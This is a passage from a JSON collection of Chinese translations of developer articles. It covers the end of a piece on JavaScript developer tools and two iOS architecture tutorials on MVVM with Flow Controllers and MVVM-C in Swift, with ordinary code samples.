TV设备渲染API。\n\n\n所以为什么我将React列在开发者工具之中？因为React的抽象层被一些不错的开发者工具使用，来驱动代表未来趋势的惊人工具。特性有热加载（更新你的实时运行代码而不刷新页面），时间旅行（time travel），以及更多… 继续阅读！\n\n\n**Redux + Redux DevTools:** Redux是由React/Flux架构和函数式编程的纯函数概念启发而来的一个应用状态管理库。另一个在开发者工具列表中的库？是的，以下是原因：\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/xsSnOQynTHs\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\nRedux以及Redux DevTools使得在你的实时运行代码之上进行真正的下一代调试互动成为可能。这让你可以轻松洞察在你的app中已经发生的行为：\n\n![](https://cdn-images-1.medium.com/max/1600/1*lAp8ZAk5uNFTuxjhx4GTdw.gif)\n\n\n它甚至允许你使用时间旅行调试这个特性在时间中来回穿梭。这是它在滚动视图中看起来的样子：\n\n![](https://cdn-images-1.medium.com/max/1600/1*BTRxlHu8WuCF4Iep4R44lA.gif)\n\n\n\n#### 结论\n\n\nJavaScript有着我所见过的所有语言中最丰富的开发者工具集。你可以看到，这更像是一个拼凑的过程而不是一个统一的IDE环境。不过我们处于JavaScript开发的寒武纪大爆炸时期，在未来，我们也许会看到现成的统一集成开发者工具。与此同时，我们将一瞥编程未来走向的究竟。\n\n\n随着JavaScript向统一的应用状态（unified application state）和不变性（immutability）（正是这个特性使得Redux DevTools的时间旅行调试成为了可能）的更深处推进，我预测我们将看到更多的实时编程特性上线。\n\n\n我也相信我们构建的应用和我们用以构建它的开发环境之间的界线会随着时间消逝而渐渐模糊。举个例子，Unreal游戏引擎将蓝图编辑集成进了引擎自身，这允许开发者和设计师从运行的游戏中构建复杂的行为。我思考了很久，我们将开始看到这些特性出现在web和以及原生移动应用中。\n\n\nJavaScript的linting，运行时监视（runtime monitoring）和时间旅行调试特性在我所知道的任何语言中都没有对手。但我们还可以做更多，比如将同等于Unreal 4引擎中的蓝图系统这样的工具带给我们。我迫不及待的想看接下来会发生什么。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/9hwhH7upYFE\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n### [跟着Eric Elliott学JavaScript](https://ericelliottjs.com/)\n\n*   在线课程 + 定期在线广播\n*   软件测试\n*   JavaScript的两个基石 (原型面向对象 + 函数式编程)\n*   通用JavaScript\n*   Node\n*   React\n\n\n**_Eric Elliott_**是[_\"Programming JavaScript Applications\"_](http://pjabook.com) _(O'Reilly), 和_ [_\"Learn JavaScript Universal App Development with Node, ES6, & React\"_](https://leanpub.com/learn-javascript-react-nodejs-es6/)_的作者。他在_ **_Adobe Systems_**_,_ **_Zumba Fitness_**_,_ **_The Wall Street Journal_**_,_ **_ESPN_**_,_ **_BBC_**_, 和为包括_ **_Usher_**_,_ **_Frank Ocean_**_,_ **_Metallica_**_在内的顶级艺术家, 开发过软件。_\n\n_他的大多数时间花在和世界上最美丽的女人一起呆在旧金山湾区._\n"
  },
  {
    "path": "TODO/mvvm-with-flow-controller-first-step.md",
    "content": ">* 原文链接 : [MVVM with Flow Controller-First Step](https://medium.com/@digoreis/mvvm-with-flow-controller-first-step-83e60ade0018)\n* 原文作者 : [Rodrigo Reis]()\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shixinzhang](https://github.com/shixinzhang)\n* 校对者: [yifili09](https://github.com/yifili09) , [rccoder](https://github.com/rccoder)\n\n# 使用流动控制器（Flow Controller ）实现 MVVM 协议模型\n\n> 我看了好久 Krzysztof Zablocki 关于 MVVM 的视频，最后发现理解新东西只有一种方法：动手建个项目！\n\n在阅读许多关于软件架构的知识后，我最近 6 个月一直在学习 MVVM 协议模型。为了理解这个协议需要引用 [**Natasha The Robot**](https://www.natashatherobot.com/swift-2-0-protocol-oriented-mvvm/) 的一篇文章，这篇文章里介绍了关于编程协议的所有知识。如果你听不到我说的是什么鬼，建议你最好去读一下 [**Natasha The Robot**](https://www.natashatherobot.com/)。\n\n一个月前我看完了 [**Steve “Scotty” Scott**](https://twitter.com/macdevnet)  关于 MVVM-C 的课程。在这个我今年看过最佳视频之一的视频中，阐述了最重要的不是代码量减少，而是这个架构能让我们的软件有什么提升。我不反对人们把某个技术称作“银弹”(译者注：“银弹”有“狂拽炫酷吊炸天”一样浮夸的意思)，但是我更喜欢追求极致、找到最好的解决方案。\n\n[![](https://i.ytimg.com/vi_webp/9VojuJpUuE8/sddefault.webp)](https://www.youtube.com/embed/9VojuJpUuE8)\n\n最近几周，我想了很多有关如何提高我对 MVVM 架构的理解，并且创建一个可维护的开发框架。所以我看了 [**Krzysztof Zabłocki**](https://twitter.com/merowing_) 关于软件架构的视频，\n这个视频太赞了。如果你想看讲了什么可以点这里看[视频](http://slideslive.com/38897361/good-ios-application-architecture-en)或者点这里看[博客](http://merowing.info/2016/01/improve-your-ios-architecture-with-flowcontrollers/)。\n\n看完 Krzysztof Zablocki 的视频后我决定建个项目来实现一种更好的架构。所以，我为（实现）这个架构制定了清晰的目标。\n\n### 总目标\n\n在选择哪一个架构之前，我会制定一个包含这个架构所关注的能解决什么目标的列表，这是从我多年 Java 项目开发中总结出的。这帮助我定义我们架构的优点。下面是促使我测试的要点。\n\n#### 模块\n\n我希望我的架构可以创建代码可用性强的模块。还可以创建整个项目都可以复用的结构，同时能够使用某个方法创建一个灵活的接口，\n以至于项目可拓展性比较好。\n\n#### 好，开始测试\n\n单元测试和用户界面测试，这个就不用解释了吧。但我关注的是有关架构的分层，它为了（更好的部署）自动测试，让 QA 分析员想出新的测试机制来保证应用程序的（高）质量。\n\n#### A/B 测试（简单来说，就是为同一个目标制定两个方案，让一部分用户使用 A 方案，另一部分用户使用 B 方案，记录下用户的使用情况，看哪个方案更符合设计）\n\n应用市场上基于不同的界面和功能的应用日益复杂，界定应用优劣与否的方案有很多。在这里我重点研究应用是否有自定义和模拟用户体验的能力。\n\n### MVVM 与流控制器\n\n在这个概念下，我决定将完全使用 MVVM 写接口来创建一个明确的区分。添加必要的依赖关系。管理这些依赖并且决定哪些将使用的接口会是流控制器。\n\n#### 流控制器\n\n流控制器是一个控制用户路径的小型类和结构的集合。这使我们能够为 A / B 测试创建不同的数据流，例如，权限管理。\n流之间的通信是通过一个共同的、可以传递窗口引用或导航控制器的对象，那可以让你创造出不同流的导航。\n\n该模型的另一个重要的功能就是它可以负责为 ViewController 实例化并注入 ViewModel + Model。\n这有助于依赖注入时代码重用更多。对于这种情况，有必要研究一下 Swift 的泛型，虽然它仍然有一些问题。\n\n#### MVVM\n\n这种架构和我之前项目的架构很像，唯一不同的是 VC (ViewController) 必须接受一个兼容的 ViewModel（通过既定协议）。\n因此 VC 是独立的、封装完整的，重要的是要方便测试和提高代码的重用性。\n\n这种独立意味着在我想要让界面灵活可变的时候可以用这种控制器来实现。另一个例子是抽象相似界面，如网格和列表使用相同的 ViewModel 。抽象必然会更复杂些，但当你的应用程序的增长或者随着时间的变化，你的收益也会越来越多。\n\n我谈论的是保持一个应用持续发展的方法，改进一个成品的代码和创建第一个版本一样重要。\n更多细节可以看这篇文章： [https://medium.com/@digoreis/your-app-is-getting-old-at-this-time-e025662e20e7#.py9qlarui](https://medium.com/@digoreis/your-app-is-getting-old-at-this-time-e025662e20e7#.py9qlarui)\n\n在下面的文本中解释了架构测试的原因后，我将举例证明初步的结果。\n\n### 实战项目\n\n我决定创建一个简单的项目，一个列表和详情。为了便于理解和证明我要测试的另一个很重要的点，不使用 CocoaPods，不能使用依赖。\n\n我注意到一件事，随着时间的推进，我们都意识到开发应用时构建的时间很长，这是因为项目主要几步的编译问题。一开始评估时可能只会看到部分细节，\n然而事实是等待 Xcode 翻译、组织项目浪费了许多时间。\n\n[**digoreis/ExampleMVVMFlow** _ExampleMVVMFlow - One Example of MVVM w/ Flow Controller_github.com](https://github.com/digoreis/ExampleMVVMFlow)\n\n#### Storyboard\n\n我不赞同在 Xcode 中 Storyboard 带走什么是不好的。相反，不使用它的结果才是值得我们担心的。在下个项目中我将考虑不使用它，这只不过是一个本地代码的 XML 表示。在一个项目合并复杂性和构建时间逐渐增长的成熟团队中，我认为每个人都应该思考一下这个。\n\n**但请不要争论！**\n\n#### 挑战\n\n挑战的第一阶段是很简单的，作为一个项目列表显示他们，并选择一个显示细节。我相信，这是开发应用程序的最常见的任务。在这里是一个简单的猫头鹰列表，有名称，照片和描述。这个内容的显示是通过 FlowController 枚举配置的。\n\n我不会讲太多我决定构建的内容有多混乱，因为我在很短的时间（ 8 小时）内测试我的抽象极限，现在正在完善的代码，而不是增加项目。\n在下一节中，我讲讲实验的结果。\n\n#### 结果\n\n第一步是把 Storyboards（左边启动屏的）和其他不会使用的东西去掉。然后只在应用启动时开始系统流程。\n\n    import UIKit\n\n    @UIApplicationMain\n    class AppDelegate: UIResponder, UIApplicationDelegate {\n\n        var window: UIWindow?\n\n        func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?) -> Bool {\n            window = UIWindow(frame : UIScreen.mainScreen().bounds)\n            let configure = FlowConfigure(window: window, navigationController: nil, parent: nil)\n            let mainFlow = MainFlowController(configure: configure)\n            mainFlow.start()\n\n            return true\n        }\n    }\n\n在为流程系统提供应用程序窗口后，它启动一个看起来像是下图所示的树的系统。为了使用导航，我想保持 UINavigationController ，\n这样你就可以从 UIWindow 或 UINavigationController 启动流。\n\n![](https://cdn-images-1.medium.com/max/1600/1*oUJ72oZR6wpVkufvCbrMWg.png)\n\n关于 MVVM 与流控制器的基本方案\n\n一个流初始化时会构建一个 ViewModel 和 Model（需要的话会更多），启动创造了必要的接口的方法，添加它的依赖。\n这需要这些实体之间的代码耦合更具优势。\n我们可以看到在 OwlsFlowController 案例中，通过配置选择是否在网格还是列表中显示数据，在本例中是固定的，但它可以有两种测试情况。\n\n    import UIKit\n\n    class OwlsFlowController : FlowController, GridViewControllerDelegate, ListTableViewControllerDelegate {\n\n        private let showType = ShowType.List\n        private let configure : FlowConfigure\n        private let model = OwlModel()\n        private let viewModel : ListViewModel<OwlModel>\n\n        required init(configure : FlowConfigure) {\n            self.configure = configure\n            viewModel = ListViewModel<OwlModel>(model: model)\n        }\n\n        func start() {\n\n            switch showType {\n            case .List:\n                let configureTable = ConfigureTable(styleTable: .Plain, title: \"List of Owls\",delegate: self)\n                let viewController = ListTableViewController<OwlModel>(viewModel: viewModel, configure: configureTable) { owl, cell in\n                    cell.textLabel?.text = owl.name\n                }\n                configure.navigationController?.pushViewController(viewController, animated: false)\n                break\n            case .Grid:\n                 let layoutGrid = UICollectionViewFlowLayout()\n                layoutGrid.scrollDirection = .Vertical\n                let configureGrid = ConfigureGrid(viewLayout: layoutGrid, title: \"Grid of Owls\", delegate: self)\n                let viewController = GridViewController<OwlModel>(configure: configureGrid) { owl, cell in\n                    cell.image?.image = owl.avatar\n                }\n                 viewController.configure(viewModel:viewModel)\n                configure.navigationController?.pushViewController(viewController, animated: false)\n                break\n            }\n\n        }\n\n        private enum ShowType {\n            case List\n            case Grid\n        }\n\n        func openDetail(id : Int) {\n             let detail = FlowConfigure(window: nil, navigationController: configure.navigationController, parent: self)\n             let childFlow = OwlDetailFlowController(configure: detail,item: viewModel.item(ofIndex: id))\n             childFlow.start()\n        }\n    }\n\n该模型的有点是应用中的大多数列表都共享相同的行为和相同的接口。在本例中，只有数据和子单元的变化，可以作为一个参数传递，并为所有列表创建一份可重用的代码。\n\n这里有趣的一点是实现了两种响应协议：一个用于网格和一个列表。但两个的实现是相同的。这很有趣，因为我对每种类型的接口都有单独的操作，但通用的操作可以共享，同时不使用继承。\n\n    import UIKit\n\n    struct ConfigureTable {\n        let styleTable : UITableViewStyle\n        let title : String\n        let delegate : ListTableViewControllerDelegate\n    }\n\n    protocol ListTableViewControllerDelegate {\n        func openDetail(id : Int)\n    }\n\n    class ListTableViewController<M : ListModel>: UITableViewController {\n\n        var viewModel : ListViewModel<M>\n        var populateCell : (M.Model,UITableViewCell) -> (Void)\n        var configure : ConfigureTable\n\n        init(viewModel model : ListViewModel<M>, configure : ConfigureTable, populateCell : (M.Model,UITableViewCell) -> (Void)) {\n            self.viewModel = model\n            self.populateCell = populateCell\n            self.configure = configure\n            super.init(style: configure.styleTable)\n            self.title = configure.title\n        }\n\n        override func viewDidLoad() {\n            super.viewDidLoad()\n        }\n\n        override func didReceiveMemoryWarning() {\n            super.didReceiveMemoryWarning()\n        }\n\n        override func numberOfSectionsInTableView(tableView: UITableView) -> Int {\n            return 1\n        }\n\n        override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n            return viewModel.count()\n        }\n\n        override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {\n            let cell = UITableViewCell(style: .Default, reuseIdentifier: \"Cell\")\n            populateCell(viewModel.item(ofIndex: indexPath.row), cell)\n            return cell\n        }\n\n        override func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) {\n            configure.delegate.openDetail(indexPath.row)\n        }\n\n    }\n\n接口的实现是清晰和干净的，它是一个有简单的参数展示的客观的基础设施。所有的创建、删除都没有业务实现。\n\n另一件事是为了填充子单元封闭的通道，在不久将来它可以允许我们用一个参数来决定使用那部手机。这种架构的想法是将接口分为两部分，第一部分是一系列现成的基础设施和可重复使用的整个项目。\n\n第二部分 UIViews 和 子单元为每个情况，对每一个数据集进行定制化。因此，我们通常的测试可以覆盖大多数的接口，增加安全性的实现。\n\n**_备注：因为某些原因，在某些情况下，Swift 将不会接受一个泛型类型作为一个 init 方法的协议参数。目前仍在调查究竟是 Swift 的 bug 还是故意限制。_**\n\n得到的结果是代码非常干净，并最大限度地提高接口的重用。还研究了泛型和协议作为一种抽象问题的方法。其他的结果是构建时间明显快得多。\n\n这些都是这几个星期的初步结果，还有其他我期待的结果我会在其他文章中一一介绍。如果他们想在 Github 上跟随或者想在 Medium 上编辑文章，\n我将把文章发上去。\n\n接下来要做的事和致谢。\n\n### 要做的事：\n\n*   测试：单元测试和模拟界面测试（我开始测试的结果是 78% 的覆盖率）\n*   扩展模型 ：其他对象（我需要找到其他的动物）\n*   接口和基础设施：创建其他类型的单元，使用相同的 UIViewController\n\n我的下一篇文章将是如何建立有效的测试，简单易维护。祝我好运吧。\n\n### 特别致谢：\n\n首先猫头鹰的灵感来自我的妻子。她喜欢猫头鹰。我也需要你感谢 HootSuite 制造了这一系列很酷的图片。\n\n我努力把我引用的代码都标记出处，如果我遗漏了谁请原谅我。\n\n我不能忘记感谢 [Mikail Freitas](https://github.com/mikailcf)  帮助我识别泛型协议初始化时的错误。我们永远不明白为什么在一个案例中运行好好地，而另一个则不起作用。\n"
  },
  {
    "path": "TODO/mvvmc-with-swift.md",
    "content": "> * 原文地址：[MVVM-C with Swift](https://marcosantadev.com/mvvmc-with-swift/)\n> * 原文作者：[Marco Santarossa](https://marcosantadev.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Deepmissea](http://deepmissea.blue)\n> * 校对者：[atuooo](http://atuo.xyz)，[1992chenlu](https://github.com/1992chenlu)\n\n---\n\n# MVVM-C 与 Swift\n\n![](https://marcosantadev.com/wp-content/uploads/MVVM-C_with_Swift_header.jpg)\n\n# 简介\n\n现今，iOS 开发者面临的最大挑战是构建一个健壮的应用程序，它必须易于维护、测试和扩展。\n\n在这篇文章里，你会学到一种可靠的方法来达到目的。\n\n首先，简要介绍下你即将学习的内容：\n**架构模式**.\n\n# 架构模式\n\n## 它是什么\n\n> 架构模式是给定上下文中软件体系结构中常见的，可重用的解决方案。架构与软件设计模式相似，但涉及的范围更广。架构解决了软件工程中的各种问题，如计算机硬件性能限制，高可用性和最小化业务风险。一些架构模式已经在软件框架内实现。\n\n摘自 [Wikipedia](https://en.wikipedia.org/wiki/Architectural_pattern)。\n\n在你开始一个新项目或功能的时候，你需要花一些时间来思考架构模式的使用。通过一个透彻的分析，你可以避免耗费很多天的时间在重构一个混乱的代码库上。\n\n## 主要的模式\n\n在项目中，有几种可用的架构模式，并且你可以在项目中使用多个，因为每个模式都能更好地适应特定的场景。\n\n当你阅读这几种模式时，主要会遇到：\n\n### [Model-View-Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)\n\n![](https://marcosantadev.com/wp-content/uploads/mvc_2.jpg)\n\n这是最常见的，也许在你的第一个 iOS 应用中已经使用过。不幸地是，这也是最糟糕的模式，因为 `Controller` 不得不管理每一个依赖（API、数据库等等），包括你应用的业务逻辑，而且与 `UIKit` 的耦合度很高，这意味着很难去测试。\n\n你应该避免这种模式，用下面的某种来代替它。\n\n### [Model-View-Presenter](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)\n\n![](https://marcosantadev.com/wp-content/uploads/mvp.jpg)\n\n这是第一个 MVC 模式的备选方案之一，一次对 `Controller` 和 `View` 之间解耦的很好的尝试。\n\n在 MVP 中，你有一层叫做 `Presenter` 的新结构来处理业务逻辑。而 `View` —— 你的 `UIViewController` 以及任何 `UIKit` 组件，都是一个笨的对象，他们只通过 `Presenter` 更新，并在 UI 事件被触发的时候，负责通知 `Presenter`。由于 `Presenter` 没有任何 `UIKit` 的引用，所以非常容易测试。\n\n### [Viper](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)\n\n[![](https://www.objc.io/images/issue-13/2014-06-07-viper-intro-0a53d9f8.jpg)](https://www.objc.io/issues/13-architecture/viper/)\n\n这是 [Bob 叔叔的清晰架构](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html)的代表。\n\n这种模式的强大之处在于，它合理分配了不同层次之间的职责。通过这种方式，你的每个层次做的事变得很少，易于测试，并且具备单一职责。这种模式的问题是，在大多数场合里，它过于复杂。你需要管理很多层，这会让你感到混乱，难于管理。\n\n这种模式并不容易掌握，你可以在[这里](https://www.objc.io/issues/13-architecture/viper/)找到关于这种架构模式更详细的文章。\n\n### [Model-View-ViewModel](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)\n\n![](https://marcosantadev.com/wp-content/uploads/mvvm.jpg)\n\n最后但也是最重要的，MVVM 是一个类似于 MVP 的框架，因为层级结构几乎相同。你可以认为 MVVM 是 MVP 版本的一个进化，而这得益于 UI 绑定。\n\nUI 绑定是在 `View` 和 `ViewModel` 之间建立一座单向或双向的桥梁，并且两者之间以一种非常透明地方式进行沟通。\n\n不幸地是，iOS 没有原生的方式来实现，所以你必须通过三方库/框架或者自己写一个来达成目的。\n\n在 Swift 里有多种方式实现 UI 绑定：\n\n#### RxSwift (或 ReactiveCocoa)\n\n[RxSwift](https://github.com/ReactiveX/RxSwift) 是 [ReactiveX](http://reactivex.io/) 家族的一个 Swift 版本的实现。一旦你掌握了它，你就能很轻松地切换到 RxJava、RxJavascript 等等。\n\n这个框架允许你来用[函数式（FRP）](https://en.wikipedia.org/wiki/Functional_reactive_programming)的方式来编写程序，并且由于内部库 RxCocoa，你可以轻松实现 `View` 和 `ViewModel` 之间的绑定：\n\n```\nclass ViewController: UIViewController {\n \n    @IBOutlet private weak var userLabel: UILabel!\n \n    private let viewModel: ViewModel\n    private let disposeBag: DisposeBag\n \n    private func bindToViewModel() {\n        viewModel.myProperty\n            .drive(userLabel.rx.text)\n            .disposed(by: disposeBag)\n    }\n}\n``` \n\n我不会解释如何彻底地使用 RxSwift，因为这超出本文的目标，它自己会有文章来解释。\n\nFRP 让你学习到了一种新的方式来开发，你可能对它或爱或恨。如果你没用过 FRP 开发，那你需要花费几个小时来熟悉和理解如何正确地使用它，因为它是一个完全不同的编程概念。\n\n另一个类似于 RxSwift 的框架是 [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa)，如果你想了解他们之间主要的区别的话，你可以看看[这篇文章](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift)。\n\n#### 代理\n\n如果你想避免导入并学习新的框架，你可以使用代理作为替代。不幸地是，使用这种方法，你将失去透明绑定的功能，因为你必须手动绑定。这个版本的 MVVM 非常类似于 MVP。\n\n这种方式的策略是通过 `View` 内部的 `ViewModel` 保持一个对代理实现的引用。这样 `ViewModel` 就能在无需引用任何 `UIKit` 对象的情况下更新 `View`。\n\n这有个例子：\n\n```\nclass ViewController: UIViewController, ViewModelDelegate {\n \n    @IBOutlet private weak var userLabel: UILabel?\n \n    private let viewModel: ViewModel\n \n    init(viewModel: ViewModel) {\n        self.viewModel = viewModel\n        super.init(nibName: nil, bundle: nil)\n        viewModel.delegate = self\n    }\n \n    required init?(coder aDecoder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n \n    func userNameDidChange(text: String) {\n        userLabel?.text = text\n    }\n}\n \n \nprotocol ViewModelDelegate: class {\n    func userNameDidChange(text: String)\n}\n \nclass ViewModel {\n \n    private var userName: String {\n        didSet {\n            delegate?.userNameDidChange(text: userName)\n        }\n    }\n    weak var delegate: ViewModelDelegate? {\n        didSet {\n            delegate?.userNameDidChange(text: userName)\n        }\n    }\n \n    init() {\n        userName = \"I 💚 hardcoded values\"\n    }\n}\n``` \n\n#### 闭包\n\n和代理非常相似，不过不同的是，你使用的是闭包来代替代理。\n\n闭包是 `ViewModel` 的属性，而 `View` 使用它们来更新 UI。你必须注意在闭包里使用 `[weak self]`，避免造成循环引用。\n\n**关于 Swift 闭包的循环引用，你可以阅读[这篇文章](https://krakendev.io/blog/weak-and-unowned-references-in-swift)。**\n\n这有一个例子：\n\n```\nclass ViewController: UIViewController {\n \n    @IBOutlet private weak var userLabel: UILabel?\n \n    private let viewModel: ViewModel\n \n    init(viewModel: ViewModel) {\n        self.viewModel = viewModel\n        super.init(nibName: nil, bundle: nil)\n        viewModel.userNameDidChange = { [weak self] (text: String) in\n            self?.userNameDidChange(text: text)\n        }\n    }\n \n    required init?(coder aDecoder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n \n    func userNameDidChange(text: String) {\n        userLabel?.text = text\n    }\n}\n \nclass ViewModel {\n \n    var userNameDidChange: ((String) -> Void)? {\n        didSet {\n            userNameDidChange?(userName)\n        }\n    }\n \n    private var userName: String {\n        didSet {\n            userNameDidChange?(userName)\n        }\n    }\n \n    init() {\n        userName = \"I 💚 hardcoded values\"\n    }\n}\n```\n\n## 抉择: MVVM-C\n\n在你不得不选择一个架构模式时，你需要理解哪一种更适合你的需求。在这些模式里，MVVM 是最好的选择之一，因为它强大的同时，也易于使用。\n\n不幸地是这种模式并不完美，主要的缺陷是 MVVM 没有路由管理。\n\n我们要添加一层新的结构，来让它获得 MVVM 的特性，并且具备路由的功能。于是它就变成了：**Model-View-ViewModel-Coordinator (MVVM-C)**\n\n示例的项目会展示 `Coordinator` 如何工作，并且如何管理不同的层次。\n\n![](https://marcosantadev.com/wp-content/uploads/mvvm-c.jpg?v=1)\n\n# 入门\n\n你可以在[这里](https://github.com/MarcoSantarossa/MVVM-C_with_Swift)下载项目源码。\n\n这个例子被简化了，以便于你可以专注于 MVVM-C 是如何工作的，因此 GitHub 上的类可能会有轻微出入。\n\n示例应用是一个普通的仪表盘应用，它从公共 API 获取数据，一旦数据准备就绪，用户就可以通过 ID 查找实体，如下面的截图：\n\n![](https://marcosantadev.com/wp-content/uploads/app_screenshot_1.png)\n\n应用程序有不同的方式来添加视图控制器，所以你会看到，在有子视图控制器的边缘案例中，如何使用 `Coordinator`。\n\n## MVVM-C 的层级结构\n\n### Coordinator\n\n它的职责是显示一个新的视图，并注入 `View` 和 `ViewModel` 所需要的依赖。 \n\n`Coordinator` 必须提供一个 `start` 方法，来创建 MVVM 层次并且添加 `View` 到视图的层级结构中。\n\n你可能会经常有一组 `Coordinator` 子类，因为在你当前的视图中，可能会有子视图，就像我们的例子一样：\n\n```\nfinal class DashboardContainerCoordinator: Coordinator {\n \n    private var childCoordinators = [Coordinator]()\n \n    private weak var dashboardContainerViewController: DashboardContainerViewController?\n    private weak var navigationController: UINavigationControllerType?\n \n    private let disposeBag = DisposeBag()\n \n    init(navigationController: UINavigationControllerType) {\n        self.navigationController = navigationController\n    }\n \n    func start() {\n        guard let navigationController = navigationController else { return }\n        let viewModel = DashboardContainerViewModel()\n        let container = DashboardContainerViewController(viewModel: viewModel)\n \n        bindShouldLoadWidget(from: viewModel)\n \n        navigationController.pushViewController(container, animated: true)\n \n        dashboardContainerViewController = container\n    }\n \n    private func bindShouldLoadWidget(from viewModel: DashboardContainerViewModel) {\n        viewModel.rx_shouldLoadWidget.asObservable()\n            .subscribe(onNext: { [weak self] in\n                self?.loadWidgets()\n            })\n            .addDisposableTo(disposeBag)\n    }\n \n    func loadWidgets() {\n        guard let containerViewController = usersContainerViewController() else { return }\n        let coordinator = UsersCoordinator(containerViewController: containerViewController)\n        coordinator.start()\n \n        childCoordinators.append(coordinator)\n    }\n \n    private func usersContainerViewController() -> ContainerViewController? {\n        guard let dashboardContainerViewController = dashboardContainerViewController else { return nil }\n \n        return ContainerViewController(parentViewController: dashboardContainerViewController,\n                                       containerView: dashboardContainerViewController.usersContainerView)\n    }\n}\n```\n\n你一定能注意到在 `Coordinator` 里，一个父类 `UIViewController` 对象或者子类对象，比如 `UINavigationController`，被注入到构造器之中。因为 `Coordinator` 有责任添加 `View` 到视图层级之中，它必须知道那个父类添加了 `View`。\n\n在上面的例子里，`DashboardContainerCoordinator` 实现了协议 `Coordinator`：\n\n```\nprotocol Coordinator {\n    func start()\n}\n```\n\n这便于你使用[多态](https://en.wikipedia.org/wiki/Polymorphism_(computer_science))。\n\n创建完第一个 `Coordinator` 后，你必须把它作为程序的入口放到 `AppDelegate` 中：\n\n```\nclass AppDelegate: UIResponder, UIApplicationDelegate {\n \n    var window: UIWindow?\n \n    private let navigationController: UINavigationController = {\n        let navigationController = UINavigationController()\n        navigationController.navigationBar.isTranslucent = false\n        return navigationController\n    }()\n \n    private var mainCoordinator: DashboardContainerCoordinator?\n \n    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {\n        window = UIWindow()\n        window?.rootViewController = navigationController\n        let coordinator = DashboardContainerCoordinator(navigationController: navigationController)\n        coordinator.start()\n        window?.makeKeyAndVisible()\n \n        mainCoordinator = coordinator\n \n        return true\n    }\n}\n``` \n\n在 `AppDelegate` 里，我们实例化一个新的 `DashboardContainerCoordinator`，通过 `start` 方法，我们把新的视图推入 `navigationController` 里。\n\n**你可以看到在 GitHub 上的项目是如何注入一个 `UINavigationController` 类型的对象，并去除 `UIKit` 和 `Coordinator` 之间的耦合。**\n\n### Model\n\n`Model` 代表数据。它必须尽可能的简洁，没有业务逻辑。\n\n```\nstruct UserModel: Mappable {\n    private(set) var id: Int?\n    private(set) var name: String?\n    private(set) var username: String?\n \n    init(id: Int?, name: String?, username: String?) {\n        self.id = id\n        self.name = name\n        self.username = username\n    }\n \n    init?(map: Map) { }\n \n    mutating func mapping(map: Map) {\n        id <- map[\"id\"]\n        name <- map[\"name\"]\n        username <- map[\"username\"]\n    }\n}\n``` \n\n实例项目使用开源库 [ObjectMapper](https://github.com/Hearst-DD/ObjectMapper) 将 JSON 转换为对象。\n\n>   ObjectMapper 是一个使用 Swift 编写的框架。它可以轻松的让你在 JSON 和模型对象（类和结构体）之间相互转换。\n\n在你从 API 获得一个 JSON 响应的时候，它会非常有用，因为你必须创建模型对象来解析 JSON 字符串。\n\n### View\n\n`View` 是一个 `UIKit` 对象，就像 `UIViewController` 一样。\n\n它通常持有一个 `ViewModel` 的引用，通过 `Coordinator` 注入来创建绑定。\n\n```\nfinal class DashboardContainerViewController: UIViewController {\n \n    let disposeBag = DisposeBag()\n \n    private(set) var viewModel: DashboardContainerViewModelType\n \n    init(viewModel: DashboardContainerViewModelType) {\n        self.viewModel = viewModel\n \n        super.init(nibName: nil, bundle: nil)\n \n        configure(viewModel: viewModel)\n    }\n \n    required init?(coder aDecoder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n \n    func configure(viewModel: DashboardContainerViewModelType) {\n        viewModel.bindViewDidLoad(rx.viewDidLoad)\n \n        viewModel.rx_title\n            .drive(rx.title)\n            .addDisposableTo(disposeBag)\n    }\n}\n``` \n\n在这个例子中，视图控制器中的标题被绑定到 `ViewModel` 的 `rx_title` 属性上。这样在 `ViewModel` 更新 `rx_title` 值的时候，视图控制器中的标题就会根据新的值自动更新。\n\n### ViewModel\n\n`ViewModel` 是这种架构模式的核心层。它的职责是保持 `View` 和 `Model` 的更新。由于业务逻辑在这个类中，你需要用不同的组件的单一职责来保证 `ViewModel` 尽可能的干净。\n\n```\nfinal class UsersViewModel {\n \n    private var dataProvider: UsersDataProvider\n    private var rx_usersFetched: Observable<[UserModel]>\n \n    lazy var rx_usersCountInfo: Driver<String> = {\n        return UsersViewModel.createUsersCountInfo(from: self.rx_usersFetched)\n    }()\n    var rx_userFound: Driver<String> = .never()\n \n    init(dataProvider: UsersDataProvider) {\n        self.dataProvider = dataProvider\n \n        rx_usersFetched = dataProvider.fetchData(endpoint: \"http://jsonplaceholder.typicode.com/users\")\n            .shareReplay(1)\n    }\n \n    private static func createUsersCountInfo(from usersFetched: Observable<[UserModel]>) -> Driver<String> {\n        return usersFetched\n            .flatMapLatest { users -> Observable<String> in\n                return .just(\"The system has \\(users.count) users\")\n            }\n            .asDriver(onErrorJustReturn: \"\")\n    }\n}\n``` \n\n在这个例子中，`ViewModel` 有一个在构造器中注入的数据提供者，它用于从公共 API 中获取数据。一旦数据提供者返回了取得的数据，`ViewModel` 就会通过 `rx_usersCountInfo` 发射一个新用户数量相关的新事件。因为绑定了观察者 `rx_usersCountInfo`，这个新事件会被发送给 `View`，然后更新 